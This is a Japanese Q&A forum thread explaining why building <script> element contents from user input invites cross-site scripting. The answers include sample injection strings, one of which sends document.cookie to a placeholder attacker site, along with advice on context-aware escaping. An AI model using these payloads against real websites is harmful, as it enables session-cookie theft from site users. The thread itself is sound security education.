• ベストアンサー
※ ChatGPTを利用し、要約された質問です(原文:<script>...</script> 要素の内)

ウェブサイトの安全な作り方とは?

このQ&Aのポイント
  • <script>...</script>要素の内容を動的に生成しない
  • 外部からの入力に依存する形で動的に生成される場合、任意のスクリプトが埋め込まれる恐れがある
  • <script>...</script>要素の内容が安全ではないことを意味している

質問者が選んだベストアンサー

  • ベストアンサー
  • Ogre7077
  • ベストアンサー率65% (170/258)
回答No.2

攻撃の容易性でしょう。 この脆弱性を付く攻撃をする際に一番苦労するのが <script> をどうやって埋め込むかです。これは入力内容のエスケープ処理で大体は塞がれてしまうのですが、<script> 要素内に直接埋めこめられるならその問題が無いので、かなり攻撃しやすいサイトとなります。 埋め込み方法ですが、以下の様な生成をするサイトの場合なら 入力内容: 太郎 出力内容: <script>alert('こんにちは太郎さん')</script> そのサイト内で使用している cookie 内容を盗聴するために、以下のように攻撃できます。 入力内容: ');window.location='http://攻撃サイト/'+document.cookie;a=(' 出力内容: <script>alert('こんにちは');window.location='http://攻撃サイト/'+document.cookie;a=('さん')</script> 引用符のエスケープ処理で塞がれるかもしれませんが、それでも対処できる余地はあります。

re97
質問者

お礼

回答ありがとうございましたー

その他の回答 (2)

  • b0a0a
  • ベストアンサー率49% (156/313)
回答No.3

主にサーバーサイドの話でしょう 例えば簡易掲示板で、名前をクリックすると本文がalertされるものを作ったとします そこで alert("内容") とすると 内容が 「"+(function(){code})()+"」だと aler("t"+(function(){code})()+"") となって任意のコードを埋め込まれてしまうということです 本人が書き込んだ内容を本人のみに適応する場合はいいですが 第三者も見えるHTMLコードになる場合は気をつけてください

re97
質問者

お礼

回答ありがとうございましたー

  • Chaire
  • ベストアンサー率60% (79/130)
回答No.1

ものすごく単純化しますが、 ・script 要素生成テンプレート: <script>alert('あなたの名前は$nameです。');</script> ・利用者から入力されたデータ(1): $name = "太郎" → <script>alert('あなたの名前は太郎です。');</script> ・利用者から入力されたデータ(2): $name = "');var s=document.cookie;('" → <script>alert('あなたの名前は');var s=document.cookie;('です。');</script> ・利用者から入力されたデータ(3): $name = "')</script><p>おはよう</p>" → <script>alert('あなたの名前は')</script><p>おはよう</p>です。');</script> (2) のようにして Cookie にアクセスできました。もちろん、このままでは Cookie 制限により他のドメインに紐付けられたデータを見ることはできませんが、危険であることに変わりありません。また、(3) は勝手に script 要素を終わらせ、任意の文字列を出力させています。 この場合、$name を「HTML の script 要素内に埋め込まれる JavaScript に適した形」にエスケープする必要がありました。結構、ややこしい話なのですよ。例えば、script 要素内で "</script>" をどうやってエスケープしますか? 他の "</p>" のようなタグは? あるいは、今回は幸い(?) JavaScript の文字列への出力なので比較的楽なのですが、では文字列の形式を崩さないようにするには? そういう文法知識が曖昧なら、やらない方が無難です。まあ、上記のような名前程度なら、入力段階で "=" のような「名前に不適な文字」を刎ねてしまっても構いませんが。 そもそも論として、スクリプト云々に関係なく、データを出力する際は必ず「出力する文脈に合わせて」データをエスケープしなければなりません。データ入力時点の「サニタイズ」で事が済むと思っている人が今でも多いですが、間違いです。

re97
質問者

お礼

回答ありがとうございましたー